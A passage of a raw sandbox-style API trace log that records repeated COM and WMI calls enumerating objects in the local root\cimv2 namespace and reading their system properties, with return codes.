[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.200] IUnknown:Release (This=0x60ff414) returned 0x3 [0067.200] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.200] IUnknown:AddRef (This=0x60ff410) returned 0x4 [0067.200] IUnknown:QueryInterface (in: This=0x60ff410, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.200] IUnknown:Release (This=0x60ff410) returned 0x3 [0067.200] IUnknown:Release (This=0x60ff410) returned 0x2 [0067.200] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.200] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.200] IUnknown:AddRef (This=0x60ff410) returned 0x3 [0067.200] IUnknown:QueryInterface (in: This=0x60ff410, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60ff410) returned 0x0 [0067.200] IUnknown:Release (This=0x60ff410) returned 0x3 [0067.201] IUnknown:Release (This=0x60ff410) returned 0x2 [0067.201] IUnknown:Release (This=0x60ff410) returned 0x1 [0067.201] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.201] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.201] IUnknown:AddRef (This=0x60ff410) returned 0x2 [0067.201] IWbemClassObject:Get (in: This=0x60ff410, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.201] IWbemClassObject:Get (in: This=0x60ff410, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.201] IWbemClassObject:Get (in: This=0x60ff410, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.201] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.201] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.201] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.202] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.202] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.202] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60ff628, puReturned=0x2e27944*=0x1) returned 0x0 [0067.216] IUnknown:QueryInterface (in: This=0x60ff628, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60ff628) returned 0x0 [0067.216] IUnknown:QueryInterface (in: This=0x60ff628, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.216] IUnknown:QueryInterface (in: This=0x60ff628, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.216] IUnknown:AddRef (This=0x60ff628) returned 0x3 [0067.216] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.216] IUnknown:QueryInterface (in: This=0x60ff628, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60ff62c) returned 0x0 [0067.216] IMarshal:GetUnmarshalClass (in: This=0x60ff62c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.216] IUnknown:Release (This=0x60ff62c) returned 0x3 [0067.216] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.216] IUnknown:AddRef (This=0x60ff628) returned 0x4 [0067.216] IUnknown:QueryInterface (in: This=0x60ff628, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.216] IUnknown:Release (This=0x60ff628) returned 0x3 [0067.216] IUnknown:Release (This=0x60ff628) returned 0x2 [0067.217] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.217] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.217] IUnknown:AddRef (This=0x60ff628) returned 0x3 [0067.217] IUnknown:QueryInterface (in: This=0x60ff628, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60ff628) returned 0x0 [0067.217] IUnknown:Release (This=0x60ff628) returned 0x3 [0067.217] IUnknown:Release (This=0x60ff628) returned 0x2 [0067.217] IUnknown:Release (This=0x60ff628) returned 0x1 [0067.217] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.217] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.217] IUnknown:AddRef (This=0x60ff628) returned 0x2 [0067.217] IWbemClassObject:Get (in: This=0x60ff628, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.217] IWbemClassObject:Get (in: This=0x60ff628, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.217] IWbemClassObject:Get (in: This=0x60ff628, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.218] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.218] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.218] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.218] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.218] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.218] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6101380, puReturned=0x2e27944*=0x1) returned 0x0 [0067.220] IUnknown:QueryInterface (in: This=0x6101380, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6101380) returned 0x0 [0067.220] IUnknown:QueryInterface (in: This=0x6101380, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.220] IUnknown:QueryInterface (in: This=0x6101380, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.220] IUnknown:AddRef (This=0x6101380) returned 0x3 [0067.220] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.220] IUnknown:QueryInterface (in: This=0x6101380, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6101384) returned 0x0 [0067.220] IMarshal:GetUnmarshalClass (in: This=0x6101384, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.220] IUnknown:Release (This=0x6101384) returned 0x3 [0067.220] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.220] IUnknown:AddRef (This=0x6101380) returned 0x4 [0067.221] IUnknown:QueryInterface (in: This=0x6101380, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.221] IUnknown:Release (This=0x6101380) returned 0x3 [0067.221] IUnknown:Release (This=0x6101380) returned 0x2 [0067.221] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.221] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.221] IUnknown:AddRef (This=0x6101380) returned 0x3 [0067.221] IUnknown:QueryInterface (in: This=0x6101380, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6101380) returned 0x0 [0067.221] IUnknown:Release (This=0x6101380) returned 0x3 [0067.221] IUnknown:Release (This=0x6101380) returned 0x2 [0067.221] IUnknown:Release (This=0x6101380) returned 0x1 [0067.221] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.221] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.221] IUnknown:AddRef (This=0x6101380) returned 0x2 [0067.221] IWbemClassObject:Get (in: This=0x6101380, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.221] IWbemClassObject:Get (in: This=0x6101380, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.222] IWbemClassObject:Get (in: This=0x6101380, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.222] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.222] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.222] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.222] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.222] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.222] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61015c8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.224] IUnknown:QueryInterface (in: This=0x61015c8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x61015c8) returned 0x0 [0067.224] IUnknown:QueryInterface (in: This=0x61015c8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.224] IUnknown:QueryInterface (in: This=0x61015c8, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.224] IUnknown:AddRef (This=0x61015c8) returned 0x3 [0067.224] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.224] IUnknown:QueryInterface (in: This=0x61015c8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x61015cc) returned 0x0 [0067.224] IMarshal:GetUnmarshalClass (in: This=0x61015cc, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.224] IUnknown:Release (This=0x61015cc) returned 0x3 [0067.224] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.224] IUnknown:AddRef (This=0x61015c8) returned 0x4 [0067.224] IUnknown:QueryInterface (in: This=0x61015c8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.224] IUnknown:Release (This=0x61015c8) returned 0x3 [0067.225] IUnknown:Release (This=0x61015c8) returned 0x2 [0067.225] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.225] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.225] IUnknown:AddRef (This=0x61015c8) returned 0x3 [0067.225] IUnknown:QueryInterface (in: This=0x61015c8, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x61015c8) returned 0x0 [0067.225] IUnknown:Release (This=0x61015c8) returned 0x3 [0067.225] IUnknown:Release (This=0x61015c8) returned 0x2 [0067.225] IUnknown:Release (This=0x61015c8) returned 0x1 [0067.225] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.225] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.225] IUnknown:AddRef (This=0x61015c8) returned 0x2 [0067.225] IWbemClassObject:Get (in: This=0x61015c8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.225] IWbemClassObject:Get (in: This=0x61015c8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.225] IWbemClassObject:Get (in: This=0x61015c8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.226] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.226] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.226] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.226] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.226] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6101760, puReturned=0x2e27944*=0x1) returned 0x0 [0067.227] IUnknown:QueryInterface (in: This=0x6101760, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6101760) returned 0x0 [0067.227] IUnknown:QueryInterface (in: This=0x6101760, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.227] IUnknown:QueryInterface (in: This=0x6101760, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.227] IUnknown:AddRef (This=0x6101760) returned 0x3 [0067.227] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.227] IUnknown:QueryInterface (in: This=0x6101760, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6101764) returned 0x0 [0067.228] IMarshal:GetUnmarshalClass (in: This=0x6101764, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.228] IUnknown:Release (This=0x6101764) returned 0x3 [0067.228] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.228] IUnknown:AddRef (This=0x6101760) returned 0x4 [0067.228] IUnknown:QueryInterface (in: This=0x6101760, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.228] IUnknown:Release (This=0x6101760) returned 0x3 [0067.228] IUnknown:Release (This=0x6101760) returned 0x2 [0067.228] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.228] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.228] IUnknown:AddRef (This=0x6101760) returned 0x3 [0067.228] IUnknown:QueryInterface (in: This=0x6101760, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6101760) returned 0x0 [0067.228] IUnknown:Release (This=0x6101760) returned 0x3 [0067.228] IUnknown:Release (This=0x6101760) returned 0x2 [0067.228] IUnknown:Release (This=0x6101760) returned 0x1 [0067.228] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.228] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.228] IUnknown:AddRef (This=0x6101760) returned 0x2 [0067.228] IWbemClassObject:Get (in: This=0x6101760, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.229] IWbemClassObject:Get (in: This=0x6101760, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: 